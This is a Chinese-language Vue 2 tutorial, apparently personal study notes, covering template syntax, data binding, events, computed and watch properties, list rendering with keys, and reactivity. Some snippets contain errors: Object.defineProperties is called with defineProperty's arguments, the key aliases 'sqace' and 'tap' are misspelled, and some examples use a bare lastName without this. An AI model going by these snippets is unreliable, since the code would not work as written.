Vue
文章目录
准备工作
Vue的下载
下载网址:https://v2.cn.vuejs.org/v2/guide/installation.html#Vue-Devtools
Vue辅助工具的下载
Vue浏览器开发者工具下载:
网盘网址:https://pan.baidu.com/s/1CKAqFa-yfeQ-Nd4iEXJxeg
提取码:8888
- 浏览器点击【加载已解压的扩展程序】选中我们解压完成后的文件夹
- 出现如下图红框中的
vue.js devtools
插件,就代表完成了
Vue开发提示工具VScode下载:
在VScode的扩展工具中查找Vue 3 Snippets
Vue开发的.vue
文件提示支持下载:
在VScode的扩展工具中查找Vetur
附:
.vue
文件可以使用<vue>
直接生成基本结构
Vue基础
第一个Vue项目
- 想让Vue工作就需要创建一个Vue实例,且要传入一个配置对象
- root容器里面的代码依然符合html规范,只不过混入了一些特殊的Vue语法
- root容器里面的代码被称为
Vue模板
- Vue实例和容器
一一对应
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- 引入Vue的生产环境 -->
<script type="text/javascript" src="../Vue_js/vue.js"></script>
</head>
<body>
<!-- 准备容器 -->
<div id="root">
<!-- 使用插值语法提取Vue实例对象的数据,插值语法中写JS表达式 -->
<h1>我是{{name}}</h1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
// 创建Vue实例
const vm = new Vue({
el:'#root', // el属性(element)用于指定Vue实例为哪个容器服务,值通常为CSS选择器字符串
data:{ // 设置Vue实例的数据,提供给容器使用,值可以是一个对象,一个函数...
name:'Bokey'
}
})
</script>
</html>
结果:
Vue模板语法
Vue模板语法有两大类:
2.插值语法:
功能:用于解析标签体内容
2.指令语法:
功能:用于解析标签属性
举例:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="../Vue_js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>插值语法</h1>
<h3>您好{{name}}</h3>
<hr />
<h1>指令语法</h1> <!-- v-bind:后面的属性值Vue会当成JS表达式处理 -->
<a v-bind:href="url">点我去百度</a>
<a :href="url">点我去百度</a> <!-- 简写形式'v-bind:'简写成':' -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
// 创建Vue实例
const vm = new Vue({
el: '#root', // el属性(element)用于指定Vue实例为哪个容器服务,值通常为CSS选择器字符串
data: { // 设置Vue实例的数据,提供给容器使用,值可以是一个对象,一个函数...
name: 'Bokey',
url: 'http://www.baidu,com'
}
})
</script>
</html>
结果:
数据绑定
Vue中有两种数据绑定的方式
1.单向绑定(v-bind):数据只能从Vue实例的data属性流向页面
2.双向绑定(v-model):数据不但能从Vue实例的data属性刘翔页面,也能从页面表单类标签的value值流向Vue实例的data属性
<body>
<div id="root">
<!-- 普通写法 -->
单向数据绑定:<input type="text" v-bind:value="name" /><br />
双向数据绑定:<input type="text" v-model:value="name" /><br />
<!-- 简写形式 -->
单向数据绑定:<input type="text" :value="name" /><br />
双向数据绑定:<input type="text" v-model="name" /><br />
<!-- 注意:如下代码是错误的,v-model只能应用在表单类元素上,或者说只有有value属性的标签能使用 -->
<h2 v-model:x="name">您好</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
// 创建Vue实例
const vm = new Vue({
el: '#root',
data: {
name: 'Bokey'
}
})
</script>
结果:
当改变单向数据绑定表单的value值:
当改变双向数据绑定表单的value值:
el和data的两种写法
el的两种写法:
1.创建Vue实例对象时配置el
属性
2.先创建Vue实例对象,再通过vm.$mount('el值')
指定el
属性的值
data的两种写法:
1.对象写法
2.方法写法(定义组件必须使用方法写法),需要注意的是不能写成箭头函数(因为使用箭头函数的this
不再是Vue,而是Windows
)
<body>
<div id="root">
<h1>您好{{name}}</h1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
// 第一种写法:
const vm = new Vue({
el: '#root',
data: {
name: 'Bokey'
}
})
// 第二种写法:
const vm = new Vue({
// data(){
// return {
// name:'Bokey'
// }
// }
data:function(){
return {
name:'Bokey'
}
}
})
vm.$mount('#root');
</script>
MVVM模型
数据代理
数据代理就是通过一个对象代理对另一个对象进行操作(读/写),从而达到你改我也改,你变我也变
的情形
Object.defineProperty()
用于定义对象属性,但它其中有很多Vue的底层原理;下面以将person的age属性和number绑定为例子
let number = 18
let person = {
name: 'Bokey',
sex: '男',
// age : 18
}
// 使用defineProperties方法为person对象配置属性age
Object.defineProperties(person, 'age', {
// defineProperties方法一些普通的属性配置
// value: 18, // 配置属性值为18,不过设置了get和set方法就不能设置了
enumerable: true, // 配置属性是否可以被枚举(遍历),默认为false
// writable: true, // 配置属性是否可以被修改,默认为false,不过设置了get和set方法就不能设置了
configurable: true, // 配置属性是否可以被删除,默认为false
// 下面是关键!
// 当有人读取person的age属性时,get方法(getter)就会被调用,get方法的返回值就是属性值(age的值)
get() {
console.log('有人读取person的age');
return number;
},
// 当有人修改person的age属性时,set方法(setter)就会被调用,且会收到修改的值(用参数value接收)
set(value) {
console.log('有人修改person的age,修改为:' + value);
number = value;
}
})
/*
实际上就是使用到get和set方法将person的age属性和number变量进行了绑定
number改变person的age也改变
person的age该百年number也改变
*/
测试:
Vue中的数据代理
Vue示例就是将vm._data
中的属性(eg:vm._data.name
)和vm
中的属性(eg:vm.name
)进行了数据代理
<body>
<div id="root">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data: {
name:'广州新华学院',
address:'东莞麻涌'
}
})
console.log(vm);
</script>
测试:
事件绑定
事件处理
事件绑定使用v-on
指令
@click='demo'
是v-on:click='demo'
的简写形式- 事件处理函数需要配置在Vue实例的method属性对象中
- 注意不要使用箭头函数,不然函数中的
this
指针是windows
不再是Vue实例对象 - 若需要将参数传给Vue实例对象的事件处理函数,直接在标签中添加参数;若即需要传递普通参数有需要事件对象参数,则需要写事件对象的占位符
$event
,并且在相应位置接收
<body>
<div id="root">
<h2>欢迎,{{name}}</h2>
<button v-on:click="showInfo">点我提示信息(无参数)</button>
<button @click="showInfo2($event,66)">点我提示信息(带参数)</button>
</div> <!-- ↑ 事件对象占位符 -->
</body>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
name:'Bokey'
},
methods:{
showInfo(event){ // 没有传参的事件处理函数可以直接接收事件对象
console.log(event);
console.log(this);
alert('您好')
},
showInfo2(event,number) {
console.log(event);
console.log(this);
console.log(number);
alert('您好')
}
}
})
</script>
结果:
分别点击测试:
事件修饰符
事件修饰符用来为事件添加限制,虽然使用事件对象也能做到,但是事件修饰符更加方便;
Vue中的事件修饰符:
prevent
:阻止默认事件stop
:阻止事件冒泡once
:事件只会触发一次,事件触发后无法再次触发capture
:使用事件的捕获模式,事件执行顺序按捕获顺序执行self
:只有event.target
是当前操作元素才触发事件,一定程度上阻止了冒泡passive
:事件的默认行为(eg:滚轮滚动,a标签页面跳转)立即执行,无需等待回调函数执行完毕
<!-- 下面以prevent修饰符为例: -->
<body>
<div id="root">
<h2>欢迎,{{name}}</h2>
<!-- ↓ 使用事件修饰符修饰事件 -->
<a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
name: 'Bokey'
},
methods: {
showInfo(event) {
// 使用事件对象阻止默认事件
// event.preventDefault()
alert('您好')
}
}
})
</script>
<!--
事件修饰符可以连续使用: ↓ 先阻止默认行为,再阻止冒泡
<a href="http://www.baidu.com" @click.prevent.stop="showInfo">点我提示信息</a>
-->
点击a标签,提示信息后不会发送跳转,因为默认事件被阻止
键盘事件判断
在实际开发中,可能遇到按下某个按键(eg:回车)触发事件的情景,这就使用到按键别名:
- 回车 =>
enter
- 删除 =>
delete
(捕获删除和退格按键) - 退出 =>
esc
- 空格 =>
sqace
- 缩进 =>
tap
(必须配合keydown事件去使用,因为tap
键默认有失去焦点功能) - 上 =>
up
- 下 =>
down
- 左 =>
left
- 右 =>
right
Vue未提供的按键别名,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
特殊按键:
系统修饰符(用法特殊):ctrl,alt,shift,meta(win键)
由于它们都有默认的功能,所以配合keyup事件需要特殊操作才能触发
1.配合keyup使用:按下修饰键同时按下其他任意按钮,随后释放该按钮,事件才触发
2.配合keydown使用:正常触发
Vue.config.keyCodes.自定义键名 = 键码,可以定义按键别名
下面以按下回车就在控制台打印表单value值为例:
<body>
<div id="root"> <!-- ↓ 使用按键别名 -->
<input type="text" placeholder="按下回车控制台打印输入内容" @keyup.enter="showInfo"/>
<input type="text" placeholder="按下回车控制台打印输入内容" @keyup.huiche="showInfo"/>
</div>
</body>
<script type="text/javascript">
// 自定义按键别名
Vue.config.keyCodes.huiche = 13
const vm = new Vue({
el: '#root',
methods: {
showInfo(event) {
// 判断是否按下的是回车
// if(e.keyCode !== 13) return
console.log(event.target.value); // 控制台打印输入内容
}
}
})
</script>
<!--
按键别名可以连续使用: ↓ 按下ctrl+y触发
<input type="text" placeholder="按下回车控制台打印输入内容" @keydown.ctrl.y="showInfo"/>
-->
测试:
计算属性
-
定义:通过其他属性计算得来的属性
-
原理:底层借助了
Object.defineProperty()
提供的get和set方法 -
优势:具有缓存机制;效率更高,调试方便
-
附:
Ⅰ.计算属性最终会挂载在Vue实例对象上,直接读取使用就可以
Ⅱ.若计算属性可以被修改就必须定义set方法
Ⅲ.计算属性中使用
this
来读取Vue实例的data属性
当Vue处理的数据是Vue实例的data属性中的两个或多个属性通过计算得来时,可以使用到Vue的计算属性;下面以姓和名为data中的属性,全名为计算属性为例:
<body>
<div id="root">
姓:<input type="text" v-model="firstName"/><br/><br/>
名:<input type="text" v-model="lastName"/><br/><br/>
全名:<span>{{fullName}}</span>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
// 计算属性的定义:定义在computed中
computed:{
// 计算属性:fullName = firstName-lastName
fullName:{
// 计算属性必须定义get方法,得到计算属性的值
get(){ // ↓ 注意:使用this来读取Vue实例的data属性,直接读取是读取不到的!
return this.firstName + '_' + this.lastName
},
// 当数据可能被修改时需要定义set方法
set(value){
const arr = value.split('-')
this.firstName = arr[0] // 修改firstName
this.lastName = arr[1] // 修改lastName
}
}
}
})
</script>
<!--
此处的get和set方法的使用类似Object.defineProperty()的get和set方法
1.当有人读取fullName属性时,get就会被调用(或者调取缓存),且返回值就是fullName属性的值
2.当fullName属性被修改时,调用set
3.get()的调用具有缓存,若数据没有改变不会重复执行get方法;因此get的调用时机:Ⅰ.初次读取fullName属性 Ⅱ.fullName属性所依赖的数据发生变化
-->
测试:
输入框输入对应的姓和名
在控制台修改计算属性fullName
,注意是使用vm.fullName
来使用计算属性
计算属性简写
当计算属性只考虑读取,不考虑修改时,计算属性可以简写为:
computed:{
// 注意:此处的fullName依然是计算属性,不是方法,这只是他只有get方法时的简写形式!
fullName(){
return this.firstName + '-' + lastName
}
}
监视属性
- 当被监视的属性变化时,回调函数自动调用
- 监视的属性必须存在
- 两种写法:Ⅰ.Vue实例对象中开启监视 Ⅱ.Vue实例对象外开启监视
当需要监视某些属性的改变时可以用到监视属性,下面以监视isHot
属性为例:
<body>
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
isHot:true // 普通属性isHot
},
computed:{
info(){ // 计算属性info
return this.isHot ? '炎热' : '寒冷'
}
},
methods: { // 改变isHot的boolean值事件
changeWeather(){
this.isHot = !this.isHot
}
},
// 监视属性的定义:定义在watch中
watch:{
// ↓ 监视属性isHot(即作为监视属性名,也作为监视属性的监视对象),也可以是计算属性info
isHot:{
immediate:true,// 初始化也调用handler,默认false不调用handler
// handler在监视对象值改变时触发,参数可以获取newValue(新的值)和oldValue(旧的值)
handler(newValue,oldValue){
console.log('isHot被修改:' + oldValue + "->" + newValue);
}
}
}
})
</script>
测试:
监视属性也可以写在Vue实例对象外:
const vm = new Vue({
el: '#root',
data: {
isHot:true
},
computed:{
info(){
return this.isHot ? '炎热' : '寒冷'
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
}
})
// 在Vue实例外写监视属性
vm.$watch('info',{
immediate: true,// 初始化也调用handler,默认false不调用handler
handler(newValue, oldValue) {
console.log('info被修改:' + oldValue + "->" + newValue);
}
})
深度监视
- Vue中监视属性watch默认不监测对象内部值的改变(一层)
- 配置深度监视
deep:true
可以监测对象内部值的改变(两层或多层)
当需要监视Vue实例的data中的对象属性(实例中numbers的a和b属性)的属性时,可以开启深度监视
<body>
<div id="root">
<h3>a的值为:{{numbers.a}}</h3>
<button @click="numbers.a++">点我a++</button>
<h3>b的值为:{{numbers.b}}</h3>
<button @click="numbers.b++">点我b++</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
isHot:true,
numbers:{
a:1,
b:2
}
},
// 监视属性
watch:{
// 监视vm.numbers.a属性 注意:多层监视需要写成字符串形式
'numbers.a':{
handler(){
console.log("a改变了!");
}
},
// 监视vm.numbers属性,开启深度监视(numbers中a或者b改变,也算numbers改变)
numbers:{
deep:true, // 开启深度监视
handler(){
console.log("numbers改变了!");
}
}
}
})
</script>
<!--
若监视numbers属性没有开启深度监视,无论点击a++还是b++都不会触发它的handler方法
因为numbers对象的地址没有改变,视为numbers对象没有改变
-->
测试:先点a++,再点b++
监视属性简写
当监视属性不需要深度监视,初始化调用handler等配置时,可以使用其简写形式:
// 在Vue实例内部,使用watch的简写形式:
watch:{
// 监视isHot属性的简写形式
isHot(newValue,oldValue){
console.log('isHot被修改:' + oldValue + "->" + newValue);
}
}
// 在Vue实例外部,使用$watch的简写形式:
vm.$watch('isHot',function(newValue,oldValue){
console.log('isHot被修改:' + oldValue + "->" + newValue);
})
监视属性和计算属性对比
computed
和watch
的区别:
computed
能完成的工作,watch
都能完成watch
能完成的工作,computed
不一定能完成;例如watch
能完成异步任务(定时器任务),但computed
不能
举例:
// 实现当firstName属性或lastName属性改变后,等一秒再改变fullName属性
// 计算属性:
computed:{
fullName(){
setTimeout(() => {
return this.firstName + '-' + lastName // 注意:这个返回值是定时器的返回值!
},1000)
}
}
/*
计算属性无法实现,反而会使fullName属性=undefined
因为fullName()方法没有返回值,所以默认返回undefined
*/
// 监视属性:
watch:{
firstName(newValue){
setTimeout(() => {
return this.fullName = newValue + '-' + lastName
},1000)
},
lastName(newValue){
setTimeout(() => {
return this.fullName = firstName + '-' + newValue
},1000)
}
}
两个重要的小原则:
- 所有被Vue管理的函数,最好写成普通函数,这样
this
指针指向的才是Vue实例对象 - 所有不被Vue管理的函数(定时器的回调函数,ajax的回调函数…)最好写成箭头函数,这样
this
指针指向的才是Vue实例对象
样式绑定
绑定Class样式
在讲解Class样式前,先准备样式:
<style>
/* 基础样式 */
.basic {
width: 400px;
height: 100px;
border: 1px solid black;
}
/* 附加样式(三选一) */
.happy {
border: 4px solid red;
background-color: rgba(255,255,0.0.644);
background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad {
border: 4px green ;
border-style: dashed;
background-color: rgb(60, 60, 60);
}
.normal {
border: black;
background-color: skyblue;
}
/* 叠加样式(可相互搭配选择) */
.one {
background-color: skyblue;
}
.two {
font-size: xx-large;
}
.three {
border-radius: 30px;
}
</style>
<body>
<div id="root">
<div>test</div>
</div>
</body>
各个样式的效果:
基础样式basic
:
附加样式(3选1):
叠加样式(可多选搭配):
下面举三个示例:
- div有一个固定的basic样式,然后一个变化的样式(默认是
normal
),点击div后切换变化样式为happy
,sad
,normal
其中一个 - div的默认样式
basic
,one
,two
,three
,点击后按顺序减少样式,three
,two
,one
- div有一个固定的
basic
样式,可以选择one
,two
,three
哪个样式保留,哪个不保留
示例一(字符串绑定):
<body>
<div id="root">
<!-- ↓ 正常的样式正常写 ↓ 变化的样式绑定写 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'Bokey',
mood:'normal'
},
methods: {
changeMood(){
const arr = ['happy','sad','normal']
const index = Math.floor(Math.random()*3)
this.mood = arr[index]
}
},
})
</script>
示例二(数组绑定):
<body>
<div id="root">
<!-- ↓ 正常的样式正常写 ↓ 变化的样式绑定写 -->
<div class="basic" :class="mood" @click="reduceMood">{{name}}</div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'Bokey',
mood:['one','two','three']
},
methods: {
reduceMood(){
this.mood.shift(); // 数组减少样式,从数组尾向头减少
// 数组增加样式one:this.mood.push('one')
}
},
})
</script>
示例三(对象绑定):
<body>
<div id="root">
<!-- ↓ 正常的样式正常写 ↓ 变化的样式绑定写 -->
<div class="basic" :class="mood">
{{name}}<br>
<input type="checkbox" @click="click1"/>one<br>
<input type="checkbox" @click="click2"/>two<br>
<input type="checkbox" @click="click3"/>three<br>
</div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'Bokey',
mood:{
one:false,
two:false,
three:false
}
},
methods: {
click1(){
this.mood.one = !this.mood.one
},
click2() {
this.mood.two = !this.mood.two
},
click3() {
this.mood.three = !this.mood.three
}
},
})
</script>
绑定Style样式
<body>
<div id="root">
<!-- ↓ 正常的样式正常写 ↓ 变化的样式绑定写 -->
<div class="basic" :style="styleObj">{{name}}</div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'Bokey',
styleObj:{
fontSize:'40px',
color:'red'
}
}
})
</script>
条件渲染
条件渲染,顾名思义就是符合某些条件再渲染;涉及到三个指令:
v-if
:控制元素是否存在(若判断结果为false
,元素就不存在在结构中)v-show
:控制元素是否展示(若判断结果为false
,元素添加行内样式display:none;
)v-else
:和v-if
,v-else-if
搭配使用,当前面的v-if
,v-else-if
判断都为false
时生效,使其元素展示在结构中
<body>
<div id="root">
<!-- v-if和v-else-if以及v-else -->
<h1>v-if</h1>
<h2>n的值为:{{n}}</h2><button @click="n++;">点我n++</button>
<h2 v-if="n === 1">1</h2>
<h2 v-else-if="n === 2">2</h2>
<h2 v-else-if="n === 3">3</h2>
<h2 v-else>其他</h2>
<!-- v-show -->
<h1>v-show</h1>
<h2>n的值为:{{n}}</h2><button @click="n++;">点我n++</button>
<h2 v-show="n === 1">1</h2>
<h2 v-show="n === 2">2</h2>
<h2 v-show="n === 3">3</h2>
<h2 v-show="n != 1 && n != 2 && n!= 3">其他</h2>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
<!--
注意事项:
v-if若和v-else-if或者v-else搭配时,必须连在一起使用,否则报错!
v-show的每个判断都会进行判断,但v-if和v-else-if和v-else不一定会进行判断(eg:v-if判断为true,下面就不进行判断了),v-if和v-else-if和v-else效率更高
-->
测试:
template
和v-if
的搭配使用:
template
和v-if
搭配,当条件生效时(为true
),template
并不会在结构中,这样保存了良好的结构,当我们需要同时控制多个元素显示(且不破环结构)的情况下
<body>
<div id="root">
<template v-if="true">
<h1>你好</h1>
<h2>hello</h2>
</template>
</div>
</body>
测试:
列表渲染v-for
列表渲染用到v-for
指令:
- 语法:
v-for="(item,index) in 遍历对象" :key="遍历键"
- 遍历对象:数组(从index为0遍历到index为n),对象(从第一个属性遍历到最后一个),字符串(从第一个字符遍历到最后一个),
int
数据指定遍历次数(从0到n) - 遍历键:默认是生成下标(下例中的index,是自动生成的),它是列表每一列的唯一标识,Vue用它判断该列是否变化
附:
- 遍历对象时,可以指定三个参数:
v-for=(value,key,index) in 遍历对象
,其中是value
是对象属性值,key
是对象属性名称,index
是遍历索引
<body>
<div id="root">
<button @click="add">添加Bokey进入列表</button>
<!-- 遍历数组 -->
<ul> <!-- ↓ 第一个参数是值,第二个参数是生成下标 遍历的key值可以为数据中的唯一标识数据(最好) -->
<li v-for="(item,index) in arr" :key="index"> <!-- 这里暂时使用index作为key,这不是最好的,最好使用item.id为key -->
名字:{{item.name}};年龄:{{item.age}};下标:{{index}}
</li>
</ul>
<!-- 遍历对象 -->
<ul>
<!-- 注意: ↓ 第一个参数是值,第二个参数是键,第三个参数是生成下标 -->
<li v-for="(value,item,index) in object" :key="index">
键:{{item}};值:{{value}};下标:{{index}}
</li>
</ul>
<!-- 遍历字符串 -->
<ul>
<li v-for="(item,index) in string" :key="index">
字符:{{item}};下标:{{index}}
</li>
</ul>
<!-- 遍历次数 -->
<ul>
<li v-for="(item,index) in int" :key="index">
次数:{{item}};下标:{{index}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: { // 数组
arr: [
{ id: 1, name: '张三', age: 18 },
{ id: 2, name: '李四', age: 19 },
{ id: 3, name: '王五', age: 22 }
], // 对象
object: {
key_one: 1,
key_two: 2
},
string:'string', // 字符串
int:5 // int型数据
}, methods: {
add() {
const Bokey = { id: 4, name: 'Bokey', age: 20 }
this.arr.unshift(Bokey)
}
}
})
</script>
测试:
点击按钮
可以看到Bokey
插入了数组第一行,这是我们主观看到的;但Vue认为其中全部都是新数据,因为列表中下标全部变化了(张三原本是0
,现在是1
),因此调用Diff
算法,将全部人的名字和年龄都换了个遍,这是效率极低的(我们希望Vue知道我们只是在第一行插入了Bokey
这个新数据,其他数据是不变的),而且偶尔会导致错误,我们在下面key的作用和原理
解释
key的作用和原理
key
的作用实际上就是标识每列,当数据发生改变时,用这个标识来看哪些列改变了,哪些列没改变;
<body>
<div id="root">
<button @click="add">添加Bokey进入列表</button>
<ul>
<li v-for="(item,index) in arr" :key="index">
名字:{{item.name}};年龄:{{item.age}};下标:{{index}}
<input type="text">
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
arr: [
{ id: 1, name: '张三', age: 18 },
{ id: 2, name: '李四', age: 19 },
{ id: 3, name: '王五', age: 22 }
]
}, methods: {
add() {
const Bokey = { id: 4, name: 'Bokey', age: 20 }
this.arr.unshift(Bokey)
}
}
})
</script>
测试:每一列都输入数据(每一列的名字)
点击按钮,添加Bokey进入列表;发现出现错行
为什么会这样呢?
其实因为Diff算法,Vue实际上只更新了每一行的名字,年龄,文本框并没有随之更新
使用默认生成的index作为key时,以Vue的视角来看,就是更新了每列的名字和年龄,并且添加了一行名字为王五年龄为20的数据
如下图:
那么如何避免这种情况呢?就是使用数据中的唯一标识作为遍历的key:
这样的话,Vue就知道其实原来的数据没有变,只是在最前面添加了一行名字为Bokey年龄为20的数据;
<body>
<div id="root">
<button @click="add">添加Bokey进入列表</button>
<ul> <!-- ↓ 我们使用数据中的唯一标识item.id作为key -->
<li v-for="(item) in arr" :key="item.id"> <!-- ↓ 下标为item.id -->
名字:{{item.name}};年龄:{{item.age}};下标:{{item.id}}
<input type="text">
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
arr: [
{ id: 1, name: '张三', age: 18 },
{ id: 2, name: '李四', age: 19 },
{ id: 3, name: '王五', age: 22 }
]
}, methods: {
add() {
const Bokey = { id: 4, name: 'Bokey', age: 20 }
this.arr.unshift(Bokey)
}
}
})
</script>
测试:每一列都输入数据(每一列的名字)
点击按钮
总结:
1.虚拟DOM中key属性的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】
随后,Vue进行【新的虚拟DOM】和【旧的虚拟DOM】的差异比较(Diff算法)
2.Diff算法的比较方法
(1)旧的虚拟DOM中找到了和新的虚拟DOM相同的key:
Ⅰ.若虚拟DOM中内容没变,直接使用旧的虚拟DOM
Ⅱ.若虚拟DOM中内容变了,生成新的真实DOM,在页面中替换旧的真实DOM
(2)旧的虚拟DOM中没找到新的虚拟DOM相同的key:
Ⅰ.创建新的真实DOM,渲染到页面
3.用自动生成的index作为key可能引发的问题:
(1)若对数据进行:逆序添加,逆序删除等破环顺序的操作的话,会产生没有必要的真实DOM更新 ==> 界面效果没问题,但效率低下
(2)若结构中还包含输入类的DOM,则会产生错误的DOM更新 ==> 界面有问题
因此,遍历key
的选择最好选择数据中唯一的标识属性
列表过滤
列表过滤相当于查找功能,有两种实现方法:
- 监视属性实现
- 计算属性实现(推荐)
监视属性实现:
<body>
<div id="root">
<input type="text" v-model="keyWord" placeholder="请输入名字">
<ul> <!-- ↓ 展示过滤后数据 -->
<li v-for="(item) in filePersons" :key="item.id">
名字:{{item.name}};年龄:{{item.age}};性别:{{item.sex}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
keyWord:'',
persons: [ // 元素数据
{ id: 1, name: '马冬梅', age: 18 ,sex:'女'},
{ id: 2, name: '周冬雨', age: 19 ,sex:'女'},
{ id: 3, name: '周杰伦', age: 22 ,sex:'男'},
{ id: 4, name: '温兆伦', age: 25 ,sex:'男'}
],
filePersons:[] // 过滤后数据
},
watch:{
keyWord:{
immediate:true, // 默认初始化调用一次handler过滤
handler(newValue){
// 过滤:
this.filePersons = this.persons.filter((p) => {
return p.name.indexOf(newValue) !== -1
})
}
}
}
})
</script>
计算属性实现:
<body>
<div id="root">
<input type="text" v-model="keyWord" placeholder="请输入名字">
<ul>
<li v-for="(item) in filePersons" :key="item.id">
名字:{{item.name}};年龄:{{item.age}};性别:{{item.sex}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
keyWord:'',
persons: [
{ id: 1, name: '马冬梅', age: 18 ,sex:'女'},
{ id: 2, name: '周冬雨', age: 19 ,sex:'女'},
{ id: 3, name: '周杰伦', age: 22 ,sex:'男'},
{ id: 4, name: '温兆伦', age: 25 ,sex:'男'}
]
},
computed:{
filePersons(){
return this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1
})
}
}
})
</script>
测试:
列表排序
为前面的列表过滤再加上一个排序操作,可以将搜索结构以每个人的年龄进行排序
<body>
<div id="root">
<input type="text" v-model="keyWord" placeholder="请输入名字">
<button @click="sortType = 0">原顺序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 2">年龄升序</button>
<ul>
<li v-for="(item) in filePersons" :key="item.id">
名字:{{item.name}};年龄:{{item.age}};性别:{{item.sex}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
keyWord:'',
sortType:0, // 0代表原顺序 1代表降序 2代表升序
persons: [
{ id: 1, name: '马冬梅', age: 22 ,sex:'女'},
{ id: 2, name: '周冬雨', age: 19 ,sex:'女'},
{ id: 3, name: '周杰伦', age: 22 ,sex:'男'},
{ id: 4, name: '温兆伦', age: 20 ,sex:'男'}
]
},
computed:{
filePersons(){
// 先过滤
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1
})
// 后排序
if(this.sortType){ // 若需要排序
arr.sort((p1,p2)=>{
return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
})
}
return arr
}
}
})
</script>
测试:
搜索周
点击降序按钮
Vue监视数据原理
Vue如何使页面随着数据更新而变化的?
- 答案是数据劫持
数据劫持
数据劫持:
指的是在访问或者修改对象的某个属性时,通过一段代码拦截这个行为,进行额外的操作或者修改返回结果;比较典型的是Object.defineProperty()和 ES2016 中新增的Proxy对象
使用代码对比数据劫持前后:
o = {
name:'Bokey'
}
// 下面代码注释掉,输出一次对象o(数据劫持前);取消注释后,再输出一次对象o(数据劫持后)
/*
const vm = new Vue({
el: '#root',
data: {
object:o
}
})
*/
数据劫持前:
数据劫持后:
可以看到多了红框内容,实际上就是Vue为其管理的数据添加了getter
和setter
,使得数据具有响应式处理,从而达到数据改变,页面改变的效果
大致步骤:
数据改变 -> 调用setter方法 -> 用到该数据的地方重新解析模板
因此,我们也得出结论:
- 具有Vue生成的
getter
和setter
是Vue数据响应式处理的必要条件
添加Vue的响应式处理
有些数据Vue是默认不做数据劫持处理的,也就是数据响应式处理:
- 对
vm._data
对象中后追加的属性不做响应式处理 - 对数组中的元素不做响应式处理(但若元素是个对象,对该对象的属性依然做响应式处理)
<body>
<div id="root">
<button @click="addNew">点我为data.object添加新属性</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data:{
object:{
old: 'i am old'
},
arr:['1','2']
},
methods: {
addNew(){
this.object.new = 'i am new'
}
}
})
</script>
点击按钮后,控制台输出vm._data
:
可以看到红框中的属性都没有做数据代理,也就是没有响应式处理;因此,当它们改变时,页面中与它们有关的数据并不会改变;这不是我们希望看到的,我们希望所有的数据都被Vue响应式处理,所以给出对应解决方法:
- 对后追加的数据添加响应式处理 - 使用
Vue.set()
/vm.$set()
方法追加新属性 - 对数组添加响应式处理 - 使用Vue包装的几个数组方法
Vue.set() / vm.$set()方法
- 语法:
Vue.set(目标,追加属性名,追加属性值)
或者vm.$set(目标,追加属性名,追加属性值)
- 注意:参数中目标不能是Vue示例对象(
vm
或vm._data
或vm.data
或其他写法)!
<body>
<div id="root">
<button @click="addNew">点我为data.object添加新属性</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data:{
object:{
old: 'i am old'
}
},
methods: {
addNew(){
// 这样追加是错误的!
// this.object.new = 'i am new'
// ↓ this.object = vm.object = vm._data.object = this._data.object (数据代理后它们都是一样的)
Vue.set(this.object,'new','i am new')
// ↑ vm.$set()也可以,是另外一种形式
}
}
})
</script>
结果:
使用Vue的数组方法
